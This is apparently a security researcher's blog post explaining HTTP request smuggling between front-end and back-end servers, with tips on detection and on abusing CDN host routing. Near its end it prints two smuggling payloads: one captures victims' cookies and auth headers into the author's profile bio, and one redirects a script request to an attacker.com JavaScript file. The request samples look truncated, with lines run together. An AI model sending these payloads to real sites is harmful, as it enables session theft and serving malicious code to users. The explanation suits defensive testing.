TL;DR, This blog post will be the first in a series of posts that will go through some tips and tricks about finding and exploiting http request smuggling vulnurabilities.
This attack vector was recently presented by James Kettle (Albinowax), during numerous occasions he discussed the different techniques that he was able to perform in order to attack vulnerable apps, hopefully in this series i will go through some of the techniques that i came accross during testing on real targets.
Request smuggling is fairly complex to achieve as certain conditions must exist for a vulnerable system to be exploitable, i will go through the details in a bit, but for now keep in mind that successful detection doesn’t necessarily mean guaranteed exploitation.
As explained by James the attack takes advantage of discrepencies between several layers of a system(s) (proxies, loadbalancers…). The frontend and backend may treat requests differently, one system may use Transfer-Encoding where the other would use Content-length to process requests, an attacker would simply send a manipulated request that includes both headers, the first system would forward that request as is but the second system would think it received two different requests and would wait for the end of the request and thus any random user using the app during that time would reveive a corrupted/poisoned response.
The attack is grouped into two major categories TE.CL and CL.TE, i won’t go through the differences between the two but keep in mind that the techniques discussed here could be applied in both cases.
The first step is detecting the vuln, the vulnerability may exist on a single path but not on other paths so this step consists of simply probing every host and every single path on those hosts, this is because in modern web apps routing could be performed using host headers or paths. During this step it is recommended to use valid POST requests with valid params but if that is not possible use GET requests. James had built a reliable tool just for that with almost no false positives, so it shouldn’t be too hard to do the scanning. On a couple of occasions i was able to find request smuggling on a host by changing my ip this happened mainly when the company used cloudflare or cloudfront, it turned out that one system was vulnerable but not the rest this meant i had to hit the right origin ip to exploit this vuln, so you may also try finding the different origin ips and scan hosts using them.
Now the interesting part, exploitation, here i wanted to discuss a pretty common behavior in cdn’s, it occurs when testing host header injection, for example a company with two subdomains vuln.victim.io and api.victim.io if you try host header injection on vuln.victim.io with the host header api.victim.io you would see the content of api.victim.io this also works on some blogging services, this behaviour by itself is harmless but with request smuggling it becomes critical, this means that if request smuggling exists on one subdomain it could potentially allow an attacker to target other hosts/services.
A practical example would look like this
POST / HTTP/1.1
0POST /personaldata HTTP/1.1
Connection: closebio=VICTIM REQUEST APPENDED HERE
In this scenario i had no option but to use the api host to post data to my bio, any user requests on vuln.victim.io would get appended to my request, and the system would process that request and post the entire request including victim cookies, auth header and csrf header to my bio.
POST /scripts/vendor.js HTTP/1.1
0GET /?redir=https://attacker.com/malicious.js HTTP/1.1
Connection: closex=VICTIM REQUEST APPENDED HERE
Each case and each target is different so keep at them and hack the world.